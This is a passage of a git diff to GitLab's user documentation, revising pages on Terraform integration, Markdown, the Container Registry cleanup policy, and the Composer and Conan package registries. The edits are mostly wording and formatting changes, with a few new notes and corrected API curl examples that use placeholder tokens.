+Learn more about Value Stream Analytics in the following resources:
+
+- [Value Stream Analytics feature page](https://about.gitlab.com/stages-devops-lifecycle/value-stream-analytics/).
+- [Value Stream Analytics feature preview](https://about.gitlab.com/blog/2016/09/16/feature-preview-introducing-cycle-analytics/).
+- [Value Stream Analytics feature highlight](https://about.gitlab.com/blog/2016/09/21/cycle-analytics-feature-highlight/).
diff --git a/doc/user/incident_management/index.md b/doc/user/incident_management/index.md
index 3d883a6b119..ed3516df168 100644
--- a/doc/user/incident_management/index.md
+++ b/doc/user/incident_management/index.md
@@ -3,3 +3,6 @@ redirect_to: '../../operations/incident_management/index.md'
---
This document was moved to [../../operations/incident_management/index.md](../../operations/incident_management/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/index.md b/doc/user/index.md
index 8701b5e038b..3b2acfab34c 100644
--- a/doc/user/index.md
+++ b/doc/user/index.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference, index
description: 'Read through the GitLab User documentation to learn how to use, configure, and customize GitLab and GitLab.com to your own needs.'
---
@@ -10,7 +10,7 @@ description: 'Read through the GitLab User documentation to learn how to use, co
Welcome to GitLab! We're glad to have you here!
-As a GitLab user you'll have access to all the features
+As a GitLab user you have access to all the features
your [subscription](https://about.gitlab.com/pricing/)
includes, except [GitLab administrator](../administration/index.md)
settings, unless you have admin privileges to install, configure,
@@ -60,7 +60,7 @@ With GitLab Enterprise Edition, you can also:
- [Multiple Assignees for Issues](project/issues/multiple_assignees_for_issues.md). **(STARTER)**
- [Multiple Issue Boards](project/issue_board.md#multiple-issue-boards).
- Create formal relationships between issues with [Related Issues](project/issues/related_issues.md).
-- Use [Burndown Charts](project/milestones/burndown_charts.md) to track progress during a sprint or while working on a new version of their software.
+- Use [Burndown Charts](project/milestones/burndown_and_burnup_charts.md) to track progress during a sprint or while working on a new version of their software.
- Leverage [Elasticsearch](../integration/elasticsearch.md) with [Advanced Search](search/advanced_global_search.md) and [Advanced Search Syntax](search/advanced_search_syntax.md) for faster, more advanced code search across your entire GitLab instance.
- [Authenticate users with Kerberos](../integration/kerberos.md).
- [Mirror a repository](project/repository/repository_mirroring.md) from elsewhere on your local server.
@@ -175,7 +175,7 @@ such as Trello, Jira, etc.
## Webhooks
Configure [webhooks](project/integrations/webhooks.md) to listen for
-specific events like pushes, issues or merge requests. GitLab will send a
+specific events like pushes, issues or merge requests. GitLab sends a
POST request with data to the webhook URL.
## API
diff --git a/doc/user/infrastructure/index.md b/doc/user/infrastructure/index.md
index 4af18873798..4c012fbf1d9 100644
--- a/doc/user/infrastructure/index.md
+++ b/doc/user/infrastructure/index.md
@@ -1,7 +1,7 @@
---
stage: Configure
group: Configure
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Infrastructure as code with Terraform and GitLab
@@ -9,7 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
## Motivation
The Terraform integration features within GitLab enable your GitOps / Infrastructure-as-Code (IaC)
-workflows to tie into GitLab's authentication and authorization. These features focus on
+workflows to tie into GitLab authentication and authorization. These features focus on
lowering the barrier to entry for teams to adopt Terraform, collaborate effectively within
GitLab, and support Terraform best practices.
@@ -31,6 +31,12 @@ Amazon S3 or Google Cloud Storage. Its features include:
Read more on setting up and [using GitLab Managed Terraform states](terraform_state.md)
+WARNING:
+Like any other job artifact, Terraform plan data is [viewable by anyone with Guest access](../permissions.md) to the repository.
+Neither Terraform nor GitLab encrypts the plan file by default. If your Terraform plan
+includes sensitive data such as passwords, access tokens, or certificates, GitLab strongly
+recommends encrypting plan output or modifying the project visibility settings.
+
## Terraform integration in Merge Requests
Collaborating around Infrastructure as Code (IaC) changes requires both code changes and expected infrastructure changes to be checked and approved. GitLab provides a solution to help collaboration around Terraform code changes and their expected effects using the Merge Request pages. This way users don't have to build custom tools or rely on 3rd party solutions to streamline their IaC workflows.
diff --git a/doc/user/infrastructure/mr_integration.md b/doc/user/infrastructure/mr_integration.md
index 7d9a036cac8..c86e5ddf1db 100644
--- a/doc/user/infrastructure/mr_integration.md
+++ b/doc/user/infrastructure/mr_integration.md
@@ -1,7 +1,7 @@
---
stage: Configure
group: Configure
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Terraform integration in Merge Requests
@@ -17,7 +17,7 @@ modifies, or destroys.
## Setup
-NOTE: **Note:**
+NOTE:
GitLab ships with a [pre-built CI template](index.md#quick-start) that uses GitLab Managed Terraform state and integrates Terraform changes into merge requests. We recommend customizing the pre-built image and relying on the `gitlab-terraform` helper provided within for a quick setup.
To manually configure a GitLab Terraform Report artifact requires the following steps:
@@ -42,7 +42,7 @@ To manually configure a GitLab Terraform Report artifact requires the following
- alias convert_report="jq -r '([.resource_changes[]?.change.actions?]|flatten)|{\"create\":(map(select(.==\"create\"))|length),\"update\":(map(select(.==\"update\"))|length),\"delete\":(map(select(.==\"delete\"))|length)}'"
```
- NOTE: **Note:**
+ NOTE:
In distributions that use Bash (for example, Ubuntu), `alias` statements are not
expanded in non-interactive mode. If your pipelines fail with the error
`convert_report: command not found`, alias expansion can be activated explicitly
diff --git a/doc/user/infrastructure/terraform_state.md b/doc/user/infrastructure/terraform_state.md
index ef36f0217be..cbd2a63524d 100644
--- a/doc/user/infrastructure/terraform_state.md
+++ b/doc/user/infrastructure/terraform_state.md
@@ -1,7 +1,7 @@
---
stage: Configure
group: Configure
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# GitLab managed Terraform State
@@ -186,7 +186,7 @@ and the CI YAML file:
The output from the above `terraform` commands should be viewable in the job logs.
-CAUTION: **Caution:**
+WARNING:
Like any other job artifact, Terraform plan data is [viewable by anyone with Guest access](../permissions.md) to the repository.
Neither Terraform nor GitLab encrypts the plan file by default. If your Terraform plan
includes sensitive data such as passwords, access tokens, or certificates, GitLab strongly
@@ -344,7 +344,7 @@ location. You can then go back to running it from within GitLab CI.
## Managing state files
-NOTE: **Note:**
+NOTE:
We are currently working on [providing a graphical interface for managing state files](https://gitlab.com/groups/gitlab-org/-/epics/4563).
![Terraform state list](img/terraform_list_view_v13_5.png)
@@ -356,5 +356,5 @@ The state files attached to a project can be found under Operations / Terraform.
You can only remove a state file by making a request to the API, like the following example:
```shell
-curl --header "Private-Token: <your_access_token>" --request DELETE "https://gitlab.example.com/api/v4/projects/<your_project_id/terraform/state/<your_state_name>"
+curl --header "Private-Token: <your_access_token>" --request DELETE "https://gitlab.example.com/api/v4/projects/<your_project_id>/terraform/state/<your_state_name>"
```
diff --git a/doc/user/instance/clusters/index.md b/doc/user/instance/clusters/index.md
index 68af74b69fe..33366c658d7 100644
--- a/doc/user/instance/clusters/index.md
+++ b/doc/user/instance/clusters/index.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Instance-level Kubernetes clusters
@@ -18,7 +18,7 @@ The instance level Kubernetes clusters can be found in the top menu by navigatin
## Cluster precedence
-GitLab will try to match clusters in the following order:
+GitLab tries to match clusters in the following order:
- Project-level clusters.
- Group-level clusters.
diff --git a/doc/user/markdown.md b/doc/user/markdown.md
index 4bdf72673a1..be6e483aa54 100644
--- a/doc/user/markdown.md
+++ b/doc/user/markdown.md
@@ -1,28 +1,28 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference, howto
---
# GitLab Markdown
-This Markdown guide is **valid only for GitLab's internal Markdown rendering system for entries and files**.
+This Markdown guide is **valid only for the GitLab internal Markdown rendering system for entries and files**.
It is **not** valid for the [GitLab documentation website](https://docs.gitlab.com)
-or [GitLab's main website](https://about.gitlab.com), as they both use
+or the [GitLab main website](https://about.gitlab.com), as they both use
[Kramdown](https://kramdown.gettalong.org) as their Markdown engine. The documentation
website uses an extended Kramdown gem, [GitLab Kramdown](https://gitlab.com/gitlab-org/gitlab_kramdown).
Consult the [GitLab Kramdown Guide](https://about.gitlab.com/handbook/markdown-guide/)
for a complete Kramdown reference.
-NOTE: **Note:**
+NOTE:
We encourage you to view this document as [rendered by GitLab itself](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md).
## GitLab Flavored Markdown (GFM)
GitLab uses "GitLab Flavored Markdown" (GFM). It extends the [CommonMark specification](https://spec.commonmark.org/current/)
(which is based on standard Markdown) in several ways to add additional useful functionality.
-It was inspired by [GitHub Flavored Markdown](https://docs.github.com/en/github/writing-on-github/basic-writing-and-formatting-syntax).
+It was inspired by [GitHub Flavored Markdown](https://docs.github.com/en/free-pro-team@latest/github/writing-on-github/basic-writing-and-formatting-syntax).
You can use GFM in the following areas:
@@ -52,7 +52,7 @@ The documentation website had its [Markdown engine migrated from Redcarpet to Kr
in October 2018.
You may have older issues, merge requests, or Markdown documents in your
-repository that were written using some of the nuances of GitLab's RedCarpet version
+repository that were written using some of the nuances of the GitLab RedCarpet version
of Markdown. Since CommonMark uses slightly stricter syntax, these documents
might now appear a little differently since we have transitioned to CommonMark.
@@ -162,6 +162,7 @@ Color written inside backticks is followed by a color "chip":
### Diagrams and flowcharts
It's possible to generate diagrams and flowcharts from text in GitLab using [Mermaid](https://mermaidjs.github.io/) or [PlantUML](https://plantuml.com).
+It's also possible to use [Kroki](https://kroki.io) to create a wide variety of diagrams.
#### Mermaid
@@ -231,6 +232,11 @@ end
To make PlantUML available in GitLab, a GitLab administrator needs to enable it first. Read more in [PlantUML & GitLab](../administration/integration/plantuml.md).
+#### Kroki
+
+To make Kroki available in GitLab, a GitLab administrator needs to enable it first.
+Read more in the [Kroki integration](../administration/integration/kroki.md) page.
+
### Emoji
If this section is not rendered correctly, [view it in GitLab](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#emoji).
@@ -347,7 +353,7 @@ The wrapping tags can be either curly braces or square brackets:
- [- deletion 4 -]
```
-![Inline diff as rendered by GitLab's interface](img/inline_diff_01_v13_3.png)
+![Inline diff as rendered by the GitLab interface](img/inline_diff_01_v13_3.png)
---
@@ -369,7 +375,7 @@ backslash `\`, otherwise the diff highlight don't render correctly:
- {+ Text with escaped \`backticks\` inside +}
```
-![Inline diff with mixed formatting, as rendered by GitLab's interface](img/inline_diff_02_v13_3.png)
+![Inline diff with mixed formatting, as rendered by the GitLab interface](img/inline_diff_02_v13_3.png)
### Math
@@ -425,7 +431,7 @@ GFM recognizes the following:
| merge request | `!123` | `namespace/project!123` | `project!123` |
| snippet | `$123` | `namespace/project$123` | `project$123` |
| epic **(ULTIMATE)** | `&123` | `group1/subgroup&123` | |
-| vulnerability **(ULTIMATE)** *(1)* | `[vulnerability:123]` | `[vulnerability:namespace/project/123]` | `[vulnerability:project/123]` |
+| vulnerability **(ULTIMATE)** (1)| `[vulnerability:123]` | `[vulnerability:namespace/project/123]` | `[vulnerability:project/123]` |
| label by ID | `~123` | `namespace/project~123` | `project~123` |
| one-word label by name | `~bug` | `namespace/project~bug` | `project~bug` |
| multi-word label by name | `~"feature request"` | `namespace/project~"feature request"` | `project~"feature request"` |
@@ -435,29 +441,11 @@ GFM recognizes the following:
| multi-word milestone by name | `%"release candidate"` | `namespace/project%"release candidate"` | `project%"release candidate"` |
| specific commit | `9ba12248` | `namespace/project@9ba12248` | `project@9ba12248` |
| commit range comparison | `9ba12248...b19a04f5` | `namespace/project@9ba12248...b19a04f5` | `project@9ba12248...b19a04f5` |
-| repository file references | `[README](doc/README)` | | |
-| repository file line references | `[README](doc/README#L13)` | | |
+| repository file references | `[README](doc/README.md)` | | |
+| repository file line references | `[README](doc/README.md#L13)` | | |
| [alert](../operations/incident_management/alerts.md) | `^alert#123` | `namespace/project^alert#123` | `project^alert#123` |
-1. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/281035) in GitLab 13.6.
-
- The Vulnerability special references feature is under development but ready for production use.
- It is deployed behind a feature flag that is **disabled by default**.
- [GitLab administrators with access to the GitLab Rails console](../administration/feature_flags.md)
- can opt to enable it for your instance.
- It's disabled on GitLab.com.
-
- To disable it:
-
- ```ruby
- Feature.disable(:vulnerability_special_references)
- ```
-
- To enable it:
-
- ```ruby
- Feature.enable(:vulnerability_special_references)
- ```
+1. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/222483) in GitLab 13.7.
For example, referencing an issue by using `#123` will format the output as a link
to issue number 123 with text `#123`. Likewise, a link to issue number 123 will be
@@ -471,7 +459,7 @@ In addition to this, links to some objects are also recognized and formatted. So
### Task lists
-> If this is not rendered correctly, [view it in GitLab itself](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#task-lists).
+If this section is not rendered correctly, [view it in GitLab itself](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#task-lists).
You can add task lists anywhere Markdown is supported, but you can only "click"
to toggle the boxes if they are in issues, merge requests, or comments. In other
@@ -494,7 +482,7 @@ unordered or ordered lists:
1. [x] Sub-task 2
```
-![A task list as rendered by GitLab's interface](img/completed_tasks_v13_3.png)
+![A task list as rendered by the GitLab interface](img/completed_tasks_v13_3.png)
### Table of contents
@@ -774,6 +762,7 @@ But let's throw in a <b>tag</b>.
There are multiple ways to emphasize text in Markdown. You can italicize, bold, strikethrough,
as well as combine these emphasis styles together.
+Strikethrough is not part of the core Markdown standard, but is part of GFM.
Examples:
@@ -795,9 +784,6 @@ Combined emphasis with **asterisks and _underscores_**.
Strikethrough uses two tildes. ~~Scratch this.~~
-NOTE: **Note:**
-Strikethrough is not part of the core Markdown standard, but is part of GFM.
-
#### Multiple underscores in words and mid-word emphasis
If this section is not rendered correctly, [view it in GitLab](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#multiple-underscores-in-words).
@@ -1072,7 +1058,7 @@ are separated into their own lines:
```
<!--
-Note: The example below uses HTML to force correct rendering on docs.gitlab.com,
+The example below uses HTML to force correct rendering on docs.gitlab.com,
Markdown is fine in GitLab.
-->
@@ -1124,7 +1110,7 @@ These details <em>remain</em> <strong>hidden</strong> until expanded.
Markdown inside these tags is supported as well.
-TIP: **Tip:**
+NOTE:
If your Markdown isn't rendering correctly, try adding
`{::options parse_block_html="true" /}` to the top of the page, and add
`markdown="span"` to the opening summary tag like this: `<summary markdown="span">`.
@@ -1263,7 +1249,7 @@ Do not change to reference style links.
Some text to show that the reference links can follow later.
-NOTE: **Note:**
+NOTE:
Relative links do not allow the referencing of project files in a wiki
page, or a wiki page in a project file. The reason for this is that a wiki is always
in a separate Git repository in GitLab. For example, `[I'm a reference-style link](style)`
diff --git a/doc/user/operations_dashboard/index.md b/doc/user/operations_dashboard/index.md
index 9e2dfd9ad96..bef768cad4e 100644
--- a/doc/user/operations_dashboard/index.md
+++ b/doc/user/operations_dashboard/index.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Operations Dashboard **(PREMIUM)**
@@ -15,7 +15,7 @@ The dashboard can be accessed via the top bar, by clicking **More > Operations**
## Adding a project to the dashboard
-NOTE: **Note:**
+NOTE:
For GitLab.com, you can add your project to the Operations Dashboard for free if
your project is public. If your project is private, the group it belongs to must
have a [Silver](https://about.gitlab.com/pricing/) plan.
@@ -26,7 +26,7 @@ To add a project to the dashboard:
1. Search and add one or more projects using the **Search your projects** field.
1. Click the **Add projects** button.
-Once added, the dashboard will display the project's number of active alerts,
+Once added, the dashboard displays the project's number of active alerts,
last commit, pipeline status, and when it was last deployed.
The Operations and [Environments](../../ci/environments/environments_dashboard.md) dashboards share the same list of projects. Adding or removing a project from one adds or removes the project from the other.
@@ -35,7 +35,7 @@ The Operations and [Environments](../../ci/environments/environments_dashboard.m
## Arranging projects on a dashboard
-You can drag project cards to change their order. The card order is currently only saved to your browser, so will not change the dashboard for other people.
+You can drag project cards to change their order. The card order is currently only saved to your browser, so it doesn't change the dashboard for other people.
## Making it the default dashboard when you sign in
diff --git a/doc/user/packages/composer_repository/index.md b/doc/user/packages/composer_repository/index.md
index 6e5563d0d4e..751915f84a0 100644
--- a/doc/user/packages/composer_repository/index.md
+++ b/doc/user/packages/composer_repository/index.md
@@ -1,7 +1,7 @@
---
stage: Package
group: Package
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Composer packages in the Package Registry
@@ -70,13 +70,16 @@ so that anyone who can access the project can use the package as a dependency.
Prerequisites:
-- A package in a GitLab repository.
+- A package in a GitLab repository. Composer packages should be versioned based on
+ the [Composer specification](https://getcomposer.org/doc/04-schema.md#version).
+ If the version is not valid, for example, it has three dots (`1.0.0.0`), an
+ error (`Validation failed: Version is invalid`) occurs when you publish.
- A valid `composer.json` file.
- The Packages feature is enabled in a GitLab repository.
- The project ID, which is on the project's home page.
- A [personal access token](../../../user/profile/personal_access_tokens.md) with the scope set to `api`.
- NOTE: **Note:**
+ NOTE:
[Deploy tokens](../../project/deploy_tokens/index.md) are
[not yet supported](https://gitlab.com/gitlab-org/gitlab/-/issues/240897) for use with Composer.
@@ -116,7 +119,7 @@ You can publish a Composer package to the Package Registry as part of your CI/CD
1. Run the pipeline.
-You can view the published package by going to **Packages & Registries > Package Registry** and selecting the **Composer** tab.
+To view the published package, go to **Packages & Registries > Package Registry** and select the **Composer** tab.
### Use a CI/CD template
@@ -126,7 +129,7 @@ A more detailed Composer CI/CD file is also available as a `.gitlab-ci.yml` temp
1. Above the file list, click **Set up CI/CD**. If this button is not available, select **CI/CD Configuration** and then **Edit**.
1. From the **Apply a template** list, select **Composer**.
-CAUTION: **Warning:**
+WARNING:
Do not save unless you want to overwrite the existing CI/CD file.
## Install a Composer package
@@ -139,7 +142,7 @@ Prerequisites:
- The group ID, which is on the group's home page.
- A [personal access token](../../../user/profile/personal_access_tokens.md) with the scope set to, at minimum, `read_api`.
- NOTE: **Note:**
+ NOTE:
[Deploy tokens](../../project/deploy_tokens/index.md) are
[not yet supported](https://gitlab.com/gitlab-org/gitlab/-/issues/240897) for use with Composer.
@@ -248,14 +251,14 @@ To install a package:
composer config --unset gitlab-domains
```
- NOTE: **Note:**
+ NOTE:
On GitLab.com, Composer uses the GitLab token from `auth.json` as a private token by default.
Without the `gitlab-domains` definition in `composer.json`, Composer uses the GitLab token
as basic-auth, with the token as a username and a blank password. This results in a 401 error.
Output indicates that the package has been successfully installed.
-CAUTION: **Important:**
+WARNING:
Never commit the `auth.json` file to your repository. To install packages from a CI/CD job,
consider using the [`composer config`](https://getcomposer.org/doc/articles/handling-private-packages-with-satis.md#authentication) tool with your personal access token
stored in a [GitLab CI/CD environment variable](../../../ci/variables/README.md) or in
diff --git a/doc/user/packages/conan_repository/index.md b/doc/user/packages/conan_repository/index.md
index f6f8d6d61b6..73798d363af 100644
--- a/doc/user/packages/conan_repository/index.md
+++ b/doc/user/packages/conan_repository/index.md
@@ -1,7 +1,7 @@
---
stage: Package
group: Package
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Conan packages in the Package Registry
@@ -51,7 +51,7 @@ compilers. This example uses the CMake compiler.
To install CMake:
-- For Mac, use [homebrew](https://brew.sh/) and run `brew install cmake`.
+- For Mac, use [Homebrew](https://brew.sh/) and run `brew install cmake`.
- For other operating systems, follow the instructions at [cmake.org](https://cmake.org/install/).
When installation is complete, verify you can use CMake in your terminal by
@@ -86,7 +86,7 @@ To build a package:
conan create . mycompany/beta
```
- NOTE: **Note:**
+ NOTE:
If you use an [instance remote](#add-a-remote-for-your-instance), you must
follow a specific [naming convention](#package-recipe-naming-convention-for-instance-remotes).
@@ -205,7 +205,7 @@ For example:
CONAN_LOGIN_USERNAME=<gitlab_username or deploy_token_username> CONAN_PASSWORD=<personal_access_token or deploy_token> conan upload Hello/0.1@mycompany/beta --all --remote=gitlab
```
-NOTE: **Note:**
+NOTE:
Because your authentication with GitLab expires on a regular basis, you may
occasionally need to re-enter your personal access token.
@@ -221,7 +221,7 @@ In a terminal, run this command:
conan remote add_ref Hello/0.1@mycompany/beta gitlab
```
-NOTE: **Note:**
+NOTE:
The package recipe includes the version, so the default remote for
`Hello/0.1@user/channel` doesn't work for `Hello/0.2@user/channel`.
@@ -292,7 +292,7 @@ Prerequisites:
- [Authentication](#authenticate-to-the-package-registry) with the
Package Registry must be configured.
-1. In the project where you want to install the package as a dependency, open
+1. In the project where you want to install the package as a dependency, open
`conanfile.txt`. Or, in the root of your project, create a file called
`conanfile.txt`.
@@ -316,10 +316,10 @@ Prerequisites:
1. Install the dependencies listed in `conanfile.txt`:
```shell
- conan install <options>
+ conan install .. <options>
```
-NOTE: **Note:**
+NOTE:
If you try to install the package you just created in this tutorial, the package
already exists on your local computer, so this command has no effect.
@@ -336,7 +336,7 @@ There are two ways to remove a Conan package from the GitLab Package Registry.
You must explicitly include the remote in this command, otherwise the package
is removed only from your local system cache.
- NOTE: **Note:**
+ NOTE:
This command removes all recipe and binary package files from the
Package Registry.
diff --git a/doc/user/packages/container_registry/index.md b/doc/user/packages/container_registry/index.md
index 1cb6c951bd9..4e8d105adfa 100644
--- a/doc/user/packages/container_registry/index.md
+++ b/doc/user/packages/container_registry/index.md
@@ -1,7 +1,7 @@
---
stage: Package
group: Package
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# GitLab Container Registry
@@ -16,6 +16,9 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> - The group-level Container Registry was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/23315) in GitLab 12.10.
> - Searching by image repository name was [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/31322) in GitLab 13.0.
+NOTE:
+If you pull container images from Docker Hub, you can also use the [GitLab Dependency Proxy](../dependency_proxy/index.md#use-the-dependency-proxy-for-docker-images) to avoid running into rate limits and speed up your pipelines.
+
With the Docker Container Registry integrated into GitLab, every GitLab project can
have its own space to store its Docker images.
@@ -127,7 +130,7 @@ To build and push to the Container Registry:
docker push registry.example.com/group/project/image
```
-You can also view these commands by going to your project's **Packages & Registries > Container Registry**.
+To view these commands, go to your project's **Packages & Registries > Container Registry**.
## Build and push by using GitLab CI/CD
@@ -291,7 +294,7 @@ deploy:
- master
```
-NOTE: **Note:**
+NOTE:
This example explicitly calls `docker pull`. If you prefer to implicitly pull the
built image using `image:`, and use either the [Docker](https://docs.gitlab.com/runner/executors/docker.html)
or [Kubernetes](https://docs.gitlab.com/runner/executors/kubernetes.html) executor,
@@ -332,11 +335,11 @@ error during connect: Get http://docker:2376/v1.39/info: dial tcp: lookup docker
You can delete images from your Container Registry in multiple ways.
-CAUTION: **Warning:**
+WARNING:
Deleting images is a destructive action and can't be undone. To restore
a deleted image, you must rebuild and re-upload it.
-NOTE: **Note:**
+NOTE:
Administrators should review how to
[garbage collect](../../../administration/packages/container_registry.md#container-registry-garbage-collection)
the deleted images.
@@ -368,7 +371,7 @@ information, see the following endpoints:
### Delete images using GitLab CI/CD
-CAUTION: **Warning:**
+WARNING:
GitLab CI/CD doesn't provide a built-in way to remove your images, but this example
uses a third-party tool called [reg](https://github.com/genuinetools/reg)
that talks to the GitLab Registry API. You are responsible for your own actions.
@@ -426,7 +429,7 @@ delete_image:
- master
```
-TIP: **Tip:**
+NOTE:
You can download the latest `reg` release from
[the releases page](https://github.com/genuinetools/reg/releases), then update
the code example by changing the `REG_SHA256` and `REG_VERSION` variables
@@ -489,6 +492,8 @@ Cleanup policies can be run on all projects, with these exceptions:
The cleanup policy collects all tags in the Container Registry and excludes tags
until only the tags to be deleted remain.
+The cleanup policy searches for images based on the tag name. Support for the full path [has not yet been implemented](https://gitlab.com/gitlab-org/gitlab/-/issues/281071), but would allow you to clean up dynamically-named tags.
+
The cleanup policy:
1. Collects all tags for a given repository in a list.
@@ -501,7 +506,7 @@ The cleanup policy:
1. Excludes from the list any tags matching the `name_regex_keep` value (tags to preserve).
1. Finally, the remaining tags in the list are deleted from the Container Registry.
-CAUTION: **Warning:**
+WARNING:
On GitLab.com, the execution time for the cleanup policy is limited, and some of the tags may remain in
the Container Registry after the policy runs. The next time the policy runs, the remaining tags are included,
so it may take multiple runs for all tags to be deleted.
@@ -513,29 +518,31 @@ You can create a cleanup policy in [the API](#use-the-cleanup-policy-api) or the
To create a cleanup policy in the UI:
1. For your project, go to **Settings > CI/CD**.
-1. Expand the **Cleanup policy for tags** section.
+1. Expand the **Clean up image tags** section.
1. Complete the fields.
| Field | Description |
|---------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------|
- | **Cleanup policy** | Turn the policy on or off. |
- | **Expiration interval** | How long tags are exempt from being deleted. |
- | **Expiration schedule** | How often the policy should run. |
- | **Number of tags to retain** | How many tags to _always_ keep for each image. |
- | **Tags with names matching this regex pattern expire:** | The regex pattern that determines which tags to remove. This value cannot be blank. For all tags, use `.*`. See other [regex pattern examples](#regex-pattern-examples). |
- | **Tags with names matching this regex pattern are preserved:** | The regex pattern that determines which tags to preserve. The `latest` tag is always preserved. For all tags, use `.*`. See other [regex pattern examples](#regex-pattern-examples). |
+ | **Toggle** | Turn the policy on or off. |
+ | **Run cleanup** | How often the policy should run. |
+ | **Keep the most recent** | How many tags to _always_ keep for each image. |
+ | **Keep tags matching** | The regex pattern that determines which tags to preserve. The `latest` tag is always preserved. For all tags, use `.*`. See other [regex pattern examples](#regex-pattern-examples). |
+ | **Remove tags older than** | Remove only tags older than X days. |
+ | **Remove tags matching** | The regex pattern that determines which tags to remove. This value cannot be blank. For all tags, use `.*`. See other [regex pattern examples](#regex-pattern-examples). |
-1. Click **Set cleanup policy**.
+1. Click **Save**.
Depending on the interval you chose, the policy is scheduled to run.
-NOTE: **Note:**
-If you edit the policy and click **Set cleanup policy** again, the interval is reset.
+NOTE:
+If you edit the policy and click **Save** again, the interval is reset.
### Regex pattern examples
Cleanup policies use regex patterns to determine which tags should be preserved or removed, both in the UI and the API.
+Regex patterns are automatically surrounded with `\A` and `\Z` anchors. Do not include any `\A`, `\Z`, `^` or `$` token in the regex patterns as they are not necessary.
+
Here are examples of regex patterns you may want to use:
- Match all tags:
@@ -573,7 +580,7 @@ Examples:
- Select all tags, keep at least 1 tag per image, clean up any tag older than 14 days, run once a month, preserve any images with the name `master` and the policy is enabled:
```shell
- curl --request PUT --header 'Content-Type: application/json;charset=UTF-8' --header "PRIVATE-TOKEN: <your_access_token>" --data-binary '{"container_expiration_policy_attributes":{"cadence":"1month","enabled":true,"keep_n":1,"older_than":"14d","name_regex":"","name_regex_delete":".*","name_regex_keep":".*-master"}}' 'https://gitlab.example.com/api/v4/projects/2'
+ curl --request PUT --header 'Content-Type: application/json;charset=UTF-8' --header "PRIVATE-TOKEN: <your_access_token>" --data-binary '{"container_expiration_policy_attributes":{"cadence":"1month","enabled":true,"keep_n":1,"older_than":"14d","name_regex":"","name_regex_delete":".*","name_regex_keep":".*-master"}}' "https://gitlab.example.com/api/v4/projects/2"
```
See the API documentation for further details: [Edit project](../../../api/projects.md#edit-project).
diff --git a/doc/user/packages/dependency_proxy/index.md b/doc/user/packages/dependency_proxy/index.md
index e1fae770a5d..fbede6d13b7 100644
--- a/doc/user/packages/dependency_proxy/index.md
+++ b/doc/user/packages/dependency_proxy/index.md
@@ -1,13 +1,15 @@
---
stage: Package
group: Package
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Dependency Proxy
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/7934) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.11.
